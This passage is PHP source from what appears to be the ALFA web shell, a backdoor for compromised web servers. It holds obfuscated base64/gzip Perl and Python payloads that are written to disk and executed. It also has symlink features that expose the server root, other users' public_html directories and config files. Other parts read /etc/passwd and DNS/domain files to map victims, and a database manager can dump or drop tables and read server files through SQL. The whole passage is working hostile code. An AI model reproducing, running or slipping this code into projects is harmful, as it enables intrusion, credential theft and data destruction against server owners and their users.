  5285. $perl = '#!/usr/bin/perl -I/usr/local/bandmin' . "\n" . 'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';
  5286. $py = '#!/usr/bin/python' . "\nimport zlib, base64\n" . 'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
  5287. $cginame = "symperl.alfa";
  5288. $source = $perl;
  5289. $lang = "perl";
  5290. if ($_POST["alfa2"] == "sympy") {
  5291. $cginame = "pysymlink.alfa";
  5292. $source = $py;
  5293. $lang = "python";
  5294. }
  5295. @__write_file($cginame, $source);
  5296. @chmod($cginame, 0755);
  5297. echo __pre();
  5298. $resource = alfaEx("{$lang} {$cginame} {$sympath}", false, true, true);
  5299. if (strlen($resource) == 0) {
  5300. echo AlfaiFrameCreator('cgialfa/' . $cginame);
  5301. } else {
  5302. echo $resource;
  5303. }
  5304. }
  5305. if (isset($_POST['alfa4']) && $_POST['alfa4'] == 'SymFile') {
  5306. if (function_exists('symlink') || _alfa_can_runCommand(true, true)) {
  5307. echo __pre() . '
  5308. <center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
  5309. <input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
  5310. <input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
  5311. <p><input type="submit" value=" " name="symlink" /></p></form></center>';
  5312. $path = $_POST['alfa5'];
  5313. $symname = $_POST['alfa6'];
  5314. $solevisible58 = $_POST['alfa7'];
  5315. if ($solevisible58) {
  5316. $new_name = str_replace(".", "_", basename($symname));
  5317. $rand_dir = $new_name . rand(111, 9999);
  5318. $sym_dir = 'alfasymlinkphp/' . $rand_dir . '/';
  5319. @mkdir($sym_dir, 0777, true);
  5320. alfacgihtaccess('sym', $sym_dir, $symname);
  5321. _alfa_symlink("$path", "$sym_dir/$symname");
  5322. echo __pre();
  5323. echo '<center><b><font color="white">Click >> </font><a target="_blank" href="' . $sym_dir . '" ><b><font size="4">' . $symname . '</font></b></a></b></center>';
  5324. }
  5325. } else {
  5326. echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
  5327. }
  5328. }
  5329. if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'symphp') {
  5330. $cant_symlink = true;
  5331. if (function_exists('symlink') || _alfa_can_runCommand(false, false)) {
  5332. @mkdir('alfasymlink', 0777);
  5333. alfacgihtaccess('sym', 'alfasymlink/');
  5334. _alfa_symlink('/', 'alfasymlink/root');
  5335. $table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
  5336. if (_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")) {
  5337. echo "<center>";
  5338. $lines = array();
  5339. $anony_domains = array();
  5340. $anonymous_users = array();
  5341. $f_black = array();
  5342. $error = false;
  5343. $anonymous = false;
  5344. $makepwd = "/home/{user}/public_html/";
  5345. $domains = alfaGetDomains();
  5346. $lines = $domains["lines"];
  5347. $state = $domains["state"];
  5348. $is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
  5349. $can_runcmd = _alfa_can_runCommand(false, false);
  5350. if (!$is_posix && !$can_runcmd) {
  5351. $anonymous = true;
  5352. $anony_domains = $domains["lines"];
  5353. $lines = _alfa_file('/etc/passwd');
  5354. }
  5355. echo $table_header;
  5356. $count = 1;
  5357. $template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
  5358. foreach ($lines as $line) {
  5359. $domain = "";
  5360. $owner = "";
  5361. if ($anonymous) {
  5362. $explode = explode(":", $line);
  5363. $owner = $explode[0];
  5364. $owner_len = strlen($owner) - 1;
  5365. $userid = $explode[2];
  5366. if ((int) $userid < 500)
  5367. continue;
  5368. $domain = "[?????]";
  5369. $temp_black = array();
  5370. $finded = false;
  5371. foreach ($anony_domains as $anony) {
  5372. if ($state == "named.conf") {
  5373. if (@strstr($anony, 'zone')) {
  5374. preg_match_all('#zone "(.*)"#', $anony, $data);
  5375. $domain = $data[1][0];
  5376. } else {
  5377. continue;
  5378. }
  5379. } elseif ($state == "named" || $state == "valiases") {
  5380. if ($anony == "." || $anony == "..")
  5381. continue;
  5382. if ($state == "named")
  5383. $anony = rtrim($anony, ".db");
  5384. $domain = $anony;
  5385. }
  5386. $sub_domain = str_replace(array(
  5387. "-",
  5388. "."
  5389. ), "", $domain);
  5390. if (substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)) {
  5391. if (in_array($owner . $domain, $temp_black))
  5392. continue;
  5393. $sympath = str_replace("{user}", $owner, $makepwd);
  5394. $http = "http://" . $domain;
  5395. echo str_replace(array(
  5396. "{count}",
  5397. "{http}",
  5398. "{domain}",
  5399. "{owner}",
  5400. "{sympath}"
  5401. ), array(
  5402. $count,
  5403. $http,
  5404. $domain,
  5405. $owner,
  5406. $sympath
  5407. ), $template);
  5408. $count++;
  5409. $temp_black[] = $owner . $domain;
  5410. $finded = true;
  5411. }
  5412. }
  5413. if (!$finded) {
  5414. $anonymous_users[] = $owner;
  5415. }
  5416. } else {
  5417. if ($state == "named.conf") {
  5418. if (@strstr($line, 'zone')) {
  5419. preg_match_all('#zone "(.*)"#', $line, $data);
  5420. $domain = $data[1][0];
  5421. } else {
  5422. continue;
  5423. }
  5424. } elseif ($state == "named" || $state == "valiases") {
  5425. if ($line == "." || $line == "..")
  5426. continue;
  5427. if ($state == "named")
  5428. $line = rtrim($line, ".db");
  5429. $domain = $line;
  5430. }
  5431. if (strlen(trim($domain)) > 2 && $state != "passwd") {
  5432. if (!_alfa_file_exists('/etc/valiases/' . $domain, false))
  5433. continue;
  5434. if ($is_posix) {
  5435. $user = @posix_getpwuid(@fileowner('/etc/valiases/' . $domain));
  5436. $owner = $user["name"];
  5437. } elseif ($can_runcmd) {
  5438. $owner = alfaEx("stat -c '%U' /etc/valiases/" . $domain, false, false);
  5439. }
  5440. }
  5441. }
  5442. if (!$anonymous) {
  5443. if (strlen($owner) == 0 || in_array($owner . $domain, $f_black))
  5444. continue;
  5445. $sympath = str_replace("{user}", $owner, $makepwd);
  5446. $http = "http://" . $domain;
  5447. if ($state == "passwd") {
  5448. $http = "javascript:alert('we cant find domain...')";
  5449. }
  5450. echo str_replace(array(
  5451. "{count}",
  5452. "{http}",
  5453. "{domain}",
  5454. "{owner}",
  5455. "{sympath}"
  5456. ), array(
  5457. $count,
  5458. $http,
  5459. $domain,
  5460. $owner,
  5461. $sympath
  5462. ), $template);
  5463. $count++;
  5464. $f_black[] = $owner . $domain;
  5465. }
  5466. }
  5467. if ($anonymous) {
  5468. foreach ($anonymous_users as $owner) {
  5469. $sympath = str_replace("{user}", $owner, $makepwd);
  5470. $http = "javascript:alert('we cant find domain...')";
  5471. echo str_replace(array(
  5472. "{count}",
  5473. "{http}",
  5474. "{domain}",
  5475. "{owner}",
  5476. "{sympath}"
  5477. ), array(
  5478. $count,
  5479. $http,
  5480. "[????]",
  5481. $owner,
  5482. $sympath
  5483. ), $template);
  5484. $count++;
  5485. }
  5486. }
  5487. $cant_symlink = false;
  5488. } else {
  5489. $is_direct = false;
  5490. $makepwd = alfaMakePwd();
  5491. if (_alfa_file_exists("/etc/virtual/domainowners")) {
  5492. $makepwd = "/home/{user}/public_html";
  5493. $is_direct = true;
  5494. }
  5495. $sole = _alfa_file("/etc/virtual/domainowners");
  5496. $count = 1;
  5497. echo $table_header;
  5498. $template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
  5499. if ($sole) {
  5500. foreach ($sole as $visible) {
  5501. if (@strstr($visible, ":")) {
  5502. $solevisible = explode(':', $visible);
  5503. $cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
  5504. echo str_replace(array(
  5505. "{count}",
  5506. "{user}",
  5507. "{url}",
  5508. "{cwd}"
  5509. ), array(
  5510. $count++,
  5511. trim($solevisible[1]),
  5512. trim($solevisible[0]),
  5513. $cwd
  5514. ), $template);
  5515. }
  5516. }
  5517. } else {
  5518. $passwd = _alfa_file("/etc/passwd");
  5519. if ($passwd) {
  5520. $html = "";
  5521. $is_named = false;
  5522. $users = array();
  5523. $domains = array();
  5524. $uknowns = array();
  5525. foreach ($passwd as $user) {
  5526. $user = trim($user);
  5527. $expl = explode(":", $user);
  5528. if ((int) $expl[2] < 500)
  5529. continue;
  5530. $users[$expl[0]] = $expl[5];
  5531. }
  5532. $site_domains = @scandir("/etc/virtual/");
  5533. if (!$site_domains) {
  5534. $site_domains = alfaEx("ls /etc/virtual/");
  5535. $site_domains = explode("\n", $site_domains);
  5536. if (!$site_domains) {
  5537. $site_domains = _alfa_file("/etc/named.conf");
  5538. if ($site_domains) {
  5539. $is_named = true;
  5540. }
  5541. }
  5542. }
  5543. foreach ($site_domains as $line) {
  5544. if ($is_named) {
  5545. if (@strstr($line, 'zone')) {
  5546. preg_match_all('#zone "(.*)"#', $line, $data);
  5547. $domain = $data[1][0];
  5548. if (strlen($domain > 2) && !empty($domain)) {
  5549. $domains[] = $domain;
  5550. }
  5551. }
  5552. } else {
  5553. $domains[] = $line;
  5554. }
  5555. }
  5556. $x = 1;
  5557. foreach ($users as $user => $home) {
  5558. foreach ($domains as $domain) {
  5559. $user_len = strlen($user) - 1;
  5560. $sub_domain = str_replace(array(
  5561. "-",
  5562. "."
  5563. ), "", $domain);
  5564. $five_user = substr($user, 0, $user_len);
  5565. $five_domain = substr($sub_domain, 0, $user_len);
  5566. if ($five_user == $five_domain) {
  5567. if ($is_direct) {
  5568. $cwd = str_replace("{user}", $user, $makepwd);
  5569. } else {
  5570. $expl = explode("}/", $makepwd);
  5571. $cwd = $home . "/" . $expl[1];
  5572. }
  5573. $html .= str_replace(array(
  5574. "{count}",
  5575. "{user}",
  5576. "{url}",
  5577. "{cwd}"
  5578. ), array(
  5579. $x++,
  5580. $user,
  5581. $domain,
  5582. $cwd
  5583. ), $template);
  5584. } else {
  5585. $uknowns[$user] = $home;
  5586. }
  5587. }
  5588. }
  5589. $uknowns = array_unique($uknowns);
  5590. foreach ($uknowns as $user => $home) {
  5591. if ($is_direct) {
  5592. $cwd = str_replace("{user}", $user, $makepwd);
  5593. } else {
  5594. $expl = explode("}/", $makepwd);
  5595. $cwd = $home . "/" . $expl[1];
  5596. }
  5597. $html .= str_replace(array(
  5598. "{count}",
  5599. "{user}",
  5600. "{url}",
  5601. "{cwd}"
  5602. ), array(
  5603. $x++,
  5604. $user,
  5605. "[?????]",
  5606. $cwd
  5607. ), $template);
  5608. }
  5609. echo ($html);
  5610. }
  5611. }
  5612. echo "</table>";
  5613. $cant_symlink = false;
  5614. }
  5615. } else {
  5616. echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
  5617. $cant_symlink = false;
  5618. }
  5619. if ($cant_symlink)
  5620. echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
  5621. echo "</center></table>";
  5622. }
  5623. echo "</div>";
  5624. alfafooter();
  5625. }
  5626. function alfasql()
  5627. {
  5628. if (!isset($_POST['sql_host'])) {
  5629. $_POST['sql_host'] = $_SESSION["sql_host"];
  5630. $_POST['sql_login'] = $_SESSION["sql_login"];
  5631. $_POST['sql_pass'] = $_SESSION["sql_pass"];
  5632. $_POST['sql_base'] = $_SESSION["sql_base"];
  5633. }
  5634. class DbClass
  5635. {
  5636. public $type;
  5637. public $link;
  5638. public $res;
  5639. function __construct($type)
  5640. {
  5641. $this->type = $type;
  5642. }
  5643. function connect($host, $user, $pass, $dbname)
  5644. {
  5645. switch ($this->type) {
  5646. case 'mysql':
  5647. if ($this->link = @mysqli_connect($host, $user, $pass, $dbname))
  5648. return true;
  5649. break;
  5650. case 'pgsql':
  5651. $host = explode(':', $host);
  5652. if (!$host[1])
  5653. $host[1] = 5432;
  5654. if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))
  5655. return true;
  5656. break;
  5657. }
  5658. return false;
  5659. }
  5660. function selectdb($db)
  5661. {
  5662. switch ($this->type) {
  5663. case 'mysql':
  5664. if (@mysqli_select_db($db))
  5665. return true;
  5666. break;
  5667. }
  5668. return false;
  5669. }
  5670. function query($str)
  5671. {
  5672. switch ($this->type) {
  5673. case 'mysql':
  5674. return $this->res = @mysqli_query($this->link, $str);
  5675. break;
  5676. case 'pgsql':
  5677. return $this->res = @pg_query($this->link, $str);
  5678. break;
  5679. }
  5680. return false;
  5681. }
  5682. function fetch()
  5683. {
  5684. $res = func_num_args() ? func_get_arg(0) : $this->res;
  5685. switch ($this->type) {
  5686. case 'mysql':
  5687. return @mysqli_fetch_assoc($res);
  5688. break;
  5689. case 'pgsql':
  5690. return @pg_fetch_assoc($res);
  5691. break;
  5692. }
  5693. return false;
  5694. }
  5695. function listDbs()
  5696. {
  5697. switch ($this->type) {
  5698. case 'mysql':
  5699. return $this->query("SHOW databases");
  5700. break;
  5701. case 'pgsql':
  5702. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  5703. break;
  5704. }
  5705. return false;
  5706. }
  5707. function listTables()
  5708. {
  5709. switch ($this->type) {
  5710. case 'mysql':
  5711. return $this->res = $this->query('SHOW TABLES');
  5712. break;
  5713. case 'pgsql':
  5714. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  5715. break;
  5716. }
  5717. return false;
  5718. }
  5719. function error()
  5720. {
  5721. switch ($this->type) {
  5722. case 'mysql':
  5723. return @mysqli_error($this->link);
  5724. break;
  5725. case 'pgsql':
  5726. return @pg_last_error();
  5727. break;
  5728. }
  5729. return false;
  5730. }
  5731. function setCharset($str)
  5732. {
  5733. switch ($this->type) {
  5734. case 'mysql':
  5735. if (function_exists('mysql_set_charset'))
  5736. return @mysqli_set_charset($this->link, $str);
  5737. else
  5738. $this->query('SET CHARSET ' . $str);
  5739. break;
  5740. case 'pgsql':
  5741. return @pg_set_client_encoding($this->link, $str);
  5742. break;
  5743. }
  5744. return false;
  5745. }
  5746. function loadFile($str)
  5747. {
  5748. switch ($this->type) {
  5749. case 'mysql':
  5750. return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
  5751. break;
  5752. case 'pgsql':
  5753. $this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '" . addslashes($str) . "';select file from solevisible;");
  5754. $r = array();
  5755. while ($i = $this->fetch())
  5756. $r[] = $i['file'];
  5757. $this->query('drop table solevisible');
  5758. return array(
  5759. 'file' => implode("\n", $r)
  5760. );
  5761. break;
  5762. }
  5763. return false;
  5764. }
  5765. function dump($table, $fp = false)
  5766. {
  5767. switch ($this->type) {
  5768. case 'mysql':
  5769. $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
  5770. $create = mysqli_fetch_array($res);
  5771. $sql = $create[1] . ";\n";
  5772. if ($fp)
  5773. fwrite($fp, $sql);
  5774. else
  5775. echo ($sql);
  5776. $this->query('SELECT * FROM `' . $table . '`');
  5777. $head = true;
  5778. while ($item = $this->fetch()) {
  5779. $columns = array();
  5780. foreach ($item as $k => $v) {
  5781. if ($v == null)
  5782. $item[$k] = "''";
  5783. elseif (is_numeric($v))
  5784. $item[$k] = $v;
  5785. else
  5786. $item[$k] = "'" . @mysqli_real_escape_string($this->link, $v) . "'";
  5787. $columns[] = "`" . $k . "`";
  5788. }
  5789. if ($head) {
  5790. $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
  5791. $head = false;
  5792. } else
  5793. $sql = "\n\t,(" . implode(", ", $item) . ')';
  5794. if ($fp)
  5795. fwrite($fp, $sql);
  5796. else
  5797. echo ($sql);
  5798. }
  5799. if (!$head)
  5800. if ($fp)
  5801. fwrite($fp, ";\n\n");
  5802. else
  5803. echo (";\n\n");
  5804. break;
  5805. case 'pgsql':
  5806. $this->query('SELECT * FROM ' . $table);
  5807. while ($item = $this->fetch()) {
  5808. $columns = array();
  5809. foreach ($item as $k => $v) {
  5810. $item[$k] = "'" . addslashes($v) . "'";
  5811. $columns[] = $k;
  5812. }
  5813. $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
  5814. if ($fp)
  5815. fwrite($fp, $sql);
  5816. else
  5817. echo ($sql);
  5818. }
  5819. break;
  5820. }
  5821. return false;
  5822. }
  5823. }
  5824. ;
  5825. $db = new DbClass($_POST['type']);
  5826. if (@$_POST['alfa1'] == 'dumpfile' || @$_POST['alfa1'] == 'droptbl') {
  5827. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  5828. $db->selectdb($_POST['sql_base']);
  5829. switch ($_POST['charset']) {
  5830. case "Windows-1251":
  5831. $db->setCharset('calfa1251');
  5832. break;
  5833. case "UTF-8":
  5834. $db->setCharset('utf8');
  5835. break;
  5836. case "KOI8-R":
  5837. $db->setCharset('koi8r');
  5838. break;
  5839. case "KOI8-U":
  5840. $db->setCharset('koi8u');
  5841. break;
  5842. case "calfa866":
  5843. $db->setCharset('calfa866');
  5844. break;
  5845. }
  5846. $json = json_decode($_POST['alfa2'], true);
  5847. if (count($json['tbl']) > 0) {
  5848. if ($_POST['alfa1'] == 'dumpfile') {
  5849. if ($fp = @fopen($json['file'], 'w')) {
  5850. foreach ($json['tbl'] as $v)
  5851. $db->dump($v, $fp);
  5852. fclose($fp);
  5853. $dumpStatus = true;
  5854. }
  5855. } else {
  5856. foreach ($json['tbl'] as $v)
  5857. $db->query('DROP TABLE ' . $v);
  5858. }
  5859. }
  5860. unset($_POST['alfa2']);
  5861. }
  5862. alfahead();
  5863. echo "
  5864. <div class=header><center><div class='txtfont_header'>| Sql Manager |</div><p>" . getConfigHtml('all') . "</p></center>
  5865. <form name='sf' method='post' onsubmit='fs(this);return false;'><table cellpadding='2' cellspacing='0'><tr>
  5866. <td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
  5867. <input type='hidden' name='a' value=Sql><input type='hidden' name='alfa1' value='query'><input type='hidden' name='alfa2' value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : 'UTF-8') . "'>
  5868. <td><select name='type'><option value='mysql' ";
  5869. if (@$_POST['type'] == 'mysql')
  5870. echo 'selected';
  5871. echo ">MySql</option><option value='pgsql' ";
  5872. if (@$_POST['type'] == 'pgsql')
  5873. echo 'selected';
  5874. echo ">PostgreSql</option></select></td>
  5875. <td><input type='text' name='sql_host' id='db_host' value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
